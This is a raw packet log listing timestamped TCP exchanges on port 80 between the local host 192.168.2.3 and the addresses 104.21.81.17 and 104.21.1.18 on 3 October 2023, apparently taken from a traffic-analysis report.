Oct 3, 2023 09:55:42.041783094 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041766882 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041873932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041873932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041918039 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041943073 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041960001 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041981936 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.042006016 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.042028904 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.042057037 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.042159081 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.120873928 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.120944023 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.121071100 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143697023 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143754005 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143784046 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143790960 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143821001 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143831015 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143850088 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143867016 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143894911 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143903971 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143917084 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143938065 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.143969059 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.143973112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144006014 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144011974 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144026041 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144038916 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144071102 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144073009 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144098043 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144108057 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144130945 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144170046 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144243002 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144279003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144301891 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144329071 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144335032 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144364119 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144397020 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144409895 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144431114 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144432068 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144501925 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.144531965 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144565105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144648075 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144680023 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144762039 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144808054 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144885063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144918919 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.144951105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145025015 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145056963 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145176888 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145209074 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145325899 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145358086 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145433903 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145473957 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145504951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145539045 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145574093 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145648003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145679951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145711899 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145742893 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145775080 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145807028 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145842075 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145874023 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.145905018 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146022081 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146095991 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146172047 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146205902 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146245956 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146254063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146285057 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146359921 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146393061 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146428108 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146473885 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146517992 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146549940 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146581888 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146614075 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146646976 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146677971 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146708965 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146743059 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146759987 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146792889 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146823883 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146856070 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146930933 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.146965981 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147041082 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147073030 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147104025 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147138119 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147170067 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147205114 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147237062 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147310019 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147341967 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147416115 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147448063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147521019 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147594929 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147627115 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147701979 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147732973 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147810936 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147823095 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147855043 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147928953 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.147959948 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148034096 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148077965 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148111105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148144007 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148175001 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148206949 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148238897 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148269892 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148303032 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148334026 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148369074 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148379087 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148454905 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148490906 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148523092 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148556948 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148591042 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148622990 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148654938 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148686886 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148720026 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148753881 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148785114 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148859978 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148891926 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148924112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148957014 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.148988962 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149023056 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149055004 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149087906 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149163961 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149197102 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149271011 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149302959 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149374962 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149450064 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149482012 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149554968 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149588108 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149658918 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149689913 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149774075 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149805069 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149909973 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.149967909 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150001049 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150055885 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150118113 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150250912 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150284052 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150337934 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150371075 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150466919 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150499105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150640965 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150672913 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150758982 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150791883 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150876045 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150907993 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.150985003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151017904 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151189089 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151221991 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151324987 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151359081 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151431084 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151464939 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151544094 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151556969 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.151576042 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.151591063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151617050 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.151659966 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.151669979 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151701927 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151722908 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.151777983 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151812077 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151887894 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151962042 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.151994944 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152026892 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152101994 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152136087 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152210951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152242899 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152359009 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152390957 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152466059 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152498007 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152571917 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152605057 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152678967 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152792931 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152810097 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152827978 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152832031 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.152858973 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152889013 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152915955 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152954102 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.152992964 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.153204918 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.216303110 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.216362000 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.216399908 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.216438055 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.238989115 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239541054 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239597082 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239634991 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239670038 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239703894 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239777088 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.239813089 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.240278006 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.240335941 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.240371943 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241204023 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241239071 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241303921 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241358042 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241413116 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241589069 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.241621971 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.242043018 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.242849112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.242885113 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.242964983 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.243149996 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.243185043 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.243664980 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.245018959 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252532959 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252567053 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252667904 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252708912 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252742052 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.252774954 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253087997 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253124952 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253156900 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253191948 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253225088 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253257990 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253289938 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253323078 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253355980 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253390074 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253422976 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253456116 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253489017 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253524065 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253557920 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253613949 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253647089 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253720045 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253806114 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253839970 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253873110 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.253940105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254004002 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254079103 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254112959 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254149914 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254182100 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254215956 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254250050 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254282951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254317045 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254348993 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254380941 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254415035 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254472971 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254507065 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254539967 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254581928 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254614115 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254647017 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254678011 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254710913 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254745007 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254779100 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.254811049 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255218983 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255279064 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255312920 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255348921 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255381107 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255414009 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255446911 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255487919 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255520105 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255553961 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255587101 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255620956 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255652905 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255686998 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255721092 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255753040 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255785942 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255817890 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255850077 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.255884886 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:44.403184891 CEST	80	49913	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:44.403260946 CEST	80	49913	104.21.1.18	192.168.2.3
